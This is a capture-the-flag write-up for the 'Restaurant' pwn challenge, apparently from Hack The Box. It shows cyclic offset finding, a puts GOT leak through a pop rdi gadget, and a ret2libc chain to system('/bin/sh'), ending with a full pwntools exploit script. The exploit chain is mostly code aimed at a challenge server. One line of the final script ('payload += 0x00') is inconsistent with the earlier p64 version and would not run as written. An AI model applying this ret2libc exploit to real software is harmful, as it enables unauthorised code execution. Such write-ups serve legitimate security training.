Restaurant
On this page
leak libc & ret2libc
June 30, 20254 minutes
Offset
The first step is to get the offset, which can be done simply by generating a string with cyclic
pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Sending it in the second input overwrites several registers
RBP 0x6161616161616165 ('eaaaaaaa')
RSP 0x7fffffffe3f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
RIP 0x400eec (fill+162) ◂— ret
Unlike in 32 bits, if the address is not valid, the value of RIP doesn’t change.
So, to calculate the offset, knowing that on ret RIP takes the value pointed to by RSP, we can get the value of RSP (or RBP) and add 8 to it.
RSP
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
RBP
pwndbg> cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32
Protections
pwndbg> checksec
File: restaurant
Arch: amd64
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
NX is enabled, so we can’t send shellcode and jump to it to run it.
An alternative when NX is enabled is a ret2libc to get a shell with system("/bin/sh")
Leak libc
To do the ret2libc we need the libc base address, which we can get by calling puts on the address of puts: puts(puts) To do this we need the addresses of puts.plt and puts.got, which we can get with:
puts_got = e.got['puts']
puts_plt = e.plt['puts']
The puts.got address has to be passed as an argument to puts.plt; since we are on 64 bits, the address has to be passed through rdi.
To change the value of RDI we need a gadget
~/Desktop/htb/challs/pwn/restaurant/pwn_restaurant$ ROPgadget --binary=restaurant | grep rdi
0x00000000004010a3 : pop rdi ; ret
With pop rdi; ret, rdi will take the value RSP points to and then it will ret, which suits us perfectly.
Finally, for the program to keep running, we need the address the program will jump to once libc is leaked; for example, we could use main to jump back to main.
main = e.symbols['main']
The order of the first payload would be
pop_rdi -> puts_got -> puts_plt -> main
payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendlineafter('>',payload)

Looking at the response, it seems the address is being leaked correctly
To get that address we can do:
data = r.readline_contains("Enjoy")
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")
Now, if we subtract the offset of puts, we get the libc base address
libc_base = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
[*] Leak puts_got: 0x7ffff7e12da0
[*] Libc base: 0x7ffff7d92300
ret2libc
Once we have the libc base, we can do the ret2libc. To be able to run commands, we need the offsets of /bin/sh and system, and optionally the address of another part of the program or of exit, so the program doesn’t stop with a segmentation fault
sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]
We don’t need to add the libc base, because earlier we set libc.address = libc_base, so pwntools already includes it in system, sh and exit
We also need a ret, which we can find with ROPgadget just like we did earlier with pop rdi
$ ROPgadget --binary=restaurant | grep ret
........
0x000000000040063e : ret
........
It’s important to remember that we pass /bin/sh to system as an argument, so we’ll use pop rdi again
Now all that’s left is to put it all together and send it
ret -> pop_rdi -> binsh -> system -> exit
ret = 0x40063e
payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0)
r.sendlineafter('>', payload)
Final script
Enjoy your AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\x06@$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$
#!/usr/bin/env python3
from pwn import *
import base64
e = ELF("./restaurant")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
HOST = "94.237.60.55"
PORT = 38156
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([e.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote(HOST, PORT)
return r
def main():
r = conn()
rbp_offset = 32
rip_offset = 32 + 8
r.sendlineafter('>', '1')
pop_rdi_ret = 0x4010a3
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
info(hex(puts_plt))
info(hex(puts_got))
info(hex(main))
payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendlineafter('>',payload)
data = r.readline_contains("Enjoy")
info(base64.b64encode(data))
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")
libc_base = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
r.sendlineafter('>', '1')
sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]
ret = 0x40063e
payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += 0x00
r.sendlineafter('>', payload)
r.interactive()
if __name__ == "__main__":
main()
